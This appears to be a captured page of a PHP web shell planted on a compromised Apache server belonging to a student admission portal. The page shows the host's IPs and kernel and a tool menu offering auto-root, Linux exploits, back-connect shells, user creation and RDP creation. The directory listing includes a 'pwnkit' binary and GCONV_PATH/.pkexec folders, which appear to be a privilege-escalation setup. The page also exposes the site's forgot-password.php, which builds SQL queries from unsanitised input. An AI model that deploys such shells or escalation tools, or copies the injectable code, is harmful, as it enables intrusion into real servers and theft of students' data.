Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.188.190.212
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
jssun /
adm /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
img
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
libs
[ DIR ]
drwxrwxrwx
plugins
[ DIR ]
drwxrwxrwx
src
[ DIR ]
drwxrwxrwx
tcpdf
[ DIR ]
drwxrwxrwx
upload
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
MainPage.html
101.05
KB
-rwxrwxrwx
MainPage_dev.html
36.76
KB
-rwxrwxrwx
admission_sms_push.php
2.3
KB
-rwxrwxrwx
app.php
416
B
-rwxrwxrwx
cconfig.php
1.47
KB
-rwxrwxrwx
cronjob_sendsms.php
2.54
KB
-rwxrwxrwx
database.php
215
B
-rwxrwxrwx
direct-signin.php
886
B
-rwxrwxrwx
forgot-password.php
2.62
KB
-rwxrwxrwx
forgotPassword.html
4.84
KB
-rwxrwxrwx
index.html
5.11
KB
-rwxrwxrwx
instruction.html
14.2
KB
-rwxrwxrwx
instruction_regn.html
4.44
KB
-rwxrwxrwx
login.php
294
B
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
resetpassword.php
697
B
-rwxrwxrwx
sendGridMail.php
1.28
KB
-rwxrwxrwx
sendMobEmailOTP.php
2.25
KB
-rwxrwxrwx
sendsmsapi.php
814
B
-rwxrwxrwx
sendsmsapi_onex.php
6.84
KB
-rwxrwxrwx
sendsmsapi_onex_new.php
4.59
KB
-rwxrwxrwx
sendsmsapiv1.php
9.44
KB
-rwxrwxrwx
sign-up.html
8.96
KB
-rwxrwxrwx
signin.php
973
B
-rwxrwxrwx
signup.php
1.33
KB
-rwxrwxrwx
signupPwd.php
1.11
KB
-rw-r--r--
support.html
7.33
KB
-rwxrwxrwx
upload.php
415
B
-rwxrwxrwx
upload1.php
423
B
-rwxrwxrwx
upload_file.php
757
B
-rwxrwxrwx
validateRegno.php
2.76
KB
-rwxrwxrwx
validateRegnoSendOTP.php
2.75
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forgot-password.php
<?php include ("database.php"); include("../../sms/sendsmsapiv1.php"); include("sendGridMail.php"); error_reporting(E_ALL); ini_set('display_errors', 'on'); $query1 = "select FFOLDER from control"; $result1 = mysqli_query($conn,$query1); $row1 = $result1->fetch_assoc(); $FFOLDER = $row1['FFOLDER']; //$regno = $_POST['regno']; $mob = trim($_POST['mobile']); $query = "SELECT femail from collstud where fmobileno = '{$mob}' and ifnull(factive,'') = 'T'"; $result = mysqli_query($conn,$query); $count = mysqli_num_rows($result); if($count >0) { $row = mysqli_fetch_assoc($result); $email = $row['femail']; date_default_timezone_set('Asia/Kolkata'); $time = date("h:i A"); $otp = rand(100000, 900000); //$smsotp = "Dear Student, Your mobile OTP for reseting password is $otp"; $smsotp = "From $FFOLDER: Dear Student, OTP for reseting password is $otp. sent at {$time} - Uniclare"; // $username = 'logisyhttp'; // $password = 'Logis986'; // $from = 'LOGINF'; // $to = $mob; // $text = $smsotp; // $category = ''; // $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); $sms = new SMS("042", 'OTP'); $sms->sendIndvidualSms($mob, $smsotp, '900', 'ADM'); $message="<html>"; $message.="<body>"; $message.="<style>"; $message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}"; $message.="</style>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear Student,</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>OTP for reseting your password is $otp<br/></p></br>"; $message.="</br>"; $message.="</body>"; $message.="</html>"; $subject="Admission Portal : Forgot Password"; if($email != '' ) { $resp = sendGridMail($email,$subject,$message,''); $data = json_decode($resp, true); } //$data = send_manual_mail($email,$subject,$message,$replay_to=null,$cc=null,'techsupport@logisys.net.in'); $query = "update collstud set fresetotp = '{$otp}', fresetotptime = now(), fresetotpcount = fresetotpcount+1 where fmobileno = '{$mob}'"; $result = mysqli_query($conn,$query); if($result == 1) { $response['femail'] = $email; $response['status'] = 'success'; $response['msg'] = 'OTP sent to your registered mobile: '.$mob.' and email :'.$email; echo json_encode($response); } else { $response['status'] = 'error'; $response['msg'] = 'Something went wrong'; echo json_encode($response); } } else { $response['status'] = 'error'; $response['msg'] = 'Try with registered mobile number'; echo json_encode($response); } mysqli_close($conn); ?>
Close